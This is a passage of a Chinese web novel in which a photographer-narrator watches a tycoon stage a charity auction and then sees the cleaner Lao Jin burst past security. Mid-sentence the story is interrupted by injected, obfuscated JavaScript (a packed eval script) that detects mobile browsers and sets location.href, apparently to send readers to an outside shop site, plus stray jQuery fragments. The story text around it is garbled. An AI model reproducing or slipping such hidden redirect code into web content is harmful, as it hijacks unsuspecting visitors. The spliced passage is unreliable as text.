的时候我没哭，看着老金躺在病床上等死的时候我没哭。

    眼泪是活人的特权。而我，早就死了。从顾远死的那天起，从我踏进这个漩涡的第一天起，从我知道自己什么都改变不了的那天起，我就已经死了。现在活着的，只是一具还有心跳的尸体，一个还在记录的幽灵。

    走出洗手间时，拍卖会已经进入尾声。赵承德重新回到台上，做总结陈词。

    “……所以，朋友们。”他的声音充满感染力，“慈善不是施舍，是责任。不是负担，是荣耀。我们每个人，既然有幸拥有更多，就有责任回馈社会。今晚，我们共同见证了爱的力量，见证了人性的光辉。但这只是一个开始。”

    他张开双臂，像要拥抱整个会场。

    “让我们一起，让这座城市变得更温暖，更有爱，更有希望！”

    掌声如雷。所有人都站起来鼓掌，脸上洋溢着感动和满足。闪光灯此起彼伏，记者们疯狂地按着快门，记录下这“历史性的一刻”。明天，所有报纸的头版都会是赵承德张开双臂的照片，标题会是“企业家大爱无疆，一亿基金惠及百名患儿”。

    我站在人群边缘，没有鼓掌。我重新举起相机，但这次没有透过取景器看。我只是看着，用肉眼看着这场盛大的表演，看着这些沉浸在自我感动中的人，看着这个金碧辉煌却冰冷刺骨的世界。

    苏晚站在赵承德身边，微笑着鼓掌。她的笑容依然完美，但我在她眼里看到了一丝别的东西——一种深不见底的疲倦，一种近乎绝望的平静。她知道这一切都是假的，她知道那些善款有多少能真正到患儿手里，她知道赵承德为什么要做这场秀。她知道，但她必须演下去。

    就像我，知道这一切都是徒劳，但我还是站在这里，用相机

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|17016466|194201||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    记录着。

    因为我们都被困住了。困在这座城市巨大的肠胃里，被它的消化液慢慢腐蚀，直到变成它的一部分，变成滋养它生长的养分。

    掌声渐渐平息。赵承德开始邀请嘉宾上台合影。政要、企业家、明星、媒体代表……一个个走上去，站在赵承德两侧，对着镜头微笑。他们的笑容那么相似，那么标准，像同一个模具印出来的。

    我放下相机，转身准备离开。我不想拍这些合影，不想再给这场表演增加任何注脚。

    但就在这时，宴会厅的侧门突然传来一阵骚动。起初只是轻微的嘈杂，像远处传来的闷雷。但很快，声音变大了——是争吵声，呵斥声，还有东西摔倒的声音。

    所有人都转过头去。保安在往那边聚集，试图拦住什么。但那个身影很坚决，很疯狂，像一头被逼到绝境的野兽，不顾一切地往前冲。

    我看见了。是老金。

    他今天没穿保洁服，而是穿了一身明显不合身的西装——衬衫领子太大，外套肩膀太宽，裤子太长，在脚踝处堆成一团。那应该是他最好的一身衣服，可能是为了某个重要场合买的，但一直没机会穿。现在他穿上了，但穿得太晚了。

    他的头发梳过，但梳得很乱。脸上洗得很干净，但眼窝深陷，颧骨突出，像一具包着皮的骷髅。他手里没拿武器，只抱着一个很大的、脏兮兮的编织袋。

    保安试图拦住他，但他不知哪来的力气，一把推